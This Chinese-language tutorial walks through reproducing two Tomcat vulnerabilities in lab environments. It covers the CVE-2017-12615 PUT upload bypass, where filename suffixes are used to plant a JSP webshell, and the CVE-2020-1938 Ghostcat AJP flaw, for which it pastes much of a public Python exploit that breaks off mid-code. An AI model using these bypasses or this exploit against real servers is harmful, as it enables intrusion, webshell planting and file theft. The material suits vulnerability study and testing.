常见中间件漏洞复现

Tomcat

1. Tomcat 文件上传（CVE-2017-12615）

• 漏洞环境：线上环境 vulfocus
  漏洞的利用环境是Windows+Tomcat 7.0.x+配置文件readonly=false
  因为Tomcat将readonly设置为flase的时候，同时就开启了对PUT方法的支持
  

• 影响版本：Tomcat 7.0.0 - 7.0.81

• 漏洞原理：
  org.apache.jasper.servlet.JspServlet：默认处理jsp，jspx文件请求，不存在PUT上传逻辑，无法处理PUT请求
  org.apache.catalina.servlets.DefaultServlet：默认处理静态文件（除jsp，jspx之外的文件），存在PUT上传处理逻辑，可以处理PUT请求。
  所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp，jspx结尾文件，因为这些这些后缀的文件都是交由JspServlet处理的，它没法处理PUT请求。
  但是当我们利用Windows特性以下面两种方式上传文件时，tomcat并不认为其是jsp文件从而交由DefaultServlet处理，从而成功创建jsp文件。

方法一：利用PUT方法上传一句话木马，给后缀后加“/”
冰蝎连接，连接成功
查看flag
方法二：
给后缀后加%20进行绕过
方法三：
给后缀后加::$DATA

2. Tomcat 代码执行 (CVE-2020-1938)

• 漏洞环境：
  拉取镜像

docker pull duonghuuphuc/tomcat-8.5.32
1

运行镜像并映射端口：

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
1

查看是否运行成功

docker ps
1

• 影响版本
  Apache Tomcat 6
  Apache Tomcat 7 < 7.0.100
  Apache Tomcat 8 < 8.5.51
  Apache Tomcat 9 < 9.0.31

• 漏洞原理：

• 漏洞复现：

1. nmap扫描靶机是否开启成功，以及端口开放的服务
   
2. 使用大佬的POC

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
        if s is None:
                return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
                return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # \0
        return res
class NotFoundException(Exception):
        pass
class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
                self.data_stream = data_stream
                self.data_len = data_len
                self.data_direction = data_direction
        def serialize(self):
                data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                if len(data) == 0:
                        return struct.pack(">bbH", 0x12, 0x34, 0x00)
                else:
                        res = struct.pack(">H", len(data))
                        res += data
                if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbH", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbH", 0x41, 0x42, len(res))
                return header + res
        def send_and_receive(self, socket, stream):
                while True:
                        data = self.serialize()
                        socket.send(data)
                        r = AjpResponse.receive(stream)
                        while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                                r = AjpResponse.receive(stream)

                        if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                                break
class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {
   'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
                "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
                self.prefix_code = 0x02
                self.method = None
                self.protocol = None
                self.req_uri = None
                self.remote_addr = None
                self.remote_host = None
                self.server_name = None
                self.server_port = None
                self.is_ssl = None
                self.num_headers = None
                self.request_headers = None
                self.attributes = None
                self.data_direction = data_direction
        def pack_headers(self):
                self.num_headers = len(self.request_headers)
                res = ""
                res = struct.pack(">h", self.num_headers)
                for h_name in self.request_headers:
                        if h_name.startswith("SC_REQ"):
                                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                                res += struct.pack("BB", 0xA0, code)
                        else:
                                res += pack_string(h_name)

                        res += pack_string(self.request_headers[h_name])
                return res

        def pack_attributes(self):
                res = b""
                for attr in self.attributes:
                        a_name = attr['name']
                        code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                        res += struct.pack("b", code)
                        if a_name == "req_attribute":
                                aa_name, a_value = attr['value']
                                res += pack_string(aa_name)
                                res += pack_string(a_value)
                        else:
                                res += pack_string(attr['value'])
                res += struct.pack("B", 0xFF)
                return res
        def serialize(self):
                res = ""
                res = struct.pack("bb", self.prefix_code, self.method)
                res += pack_string(self.protocol)
                res += pack_string(self.req_uri)
                res += pack_string(self.remote_addr)
                res += pack_string(self.remote_host)
                res += pack_string(self.server_name)
                res += struct.pack(">h", self.server_port)
                res += struct.pack("?", self.is_ssl)
                res += self.pack_headers()
                res += self.pack_attributes()
                if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbh", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbh", 0x41, 0x42, len(res))
                return header + res
        def parse(self, raw_packet):
                stream = StringIO(raw_packet)
                self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                self.prefix_code, self.method = unpack(stream, "bb")
                self.protocol = unpack_string(stream)
                self.req_uri = unpack_string(stream)
                self.remote_addr = unpack_string(stream)
                self.remote_host = unpack_string(stream)
                self.server_name = unpack_string(stream)
                self.server_port = unpack(stream, ">h")
                self.is_ssl = unpack(stream, "?")
                self.num_headers, = unpack(stream, ">H")
                self.request_headers = {
   }
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code > 0xA000:
                                h_name = AjpForwardRequest
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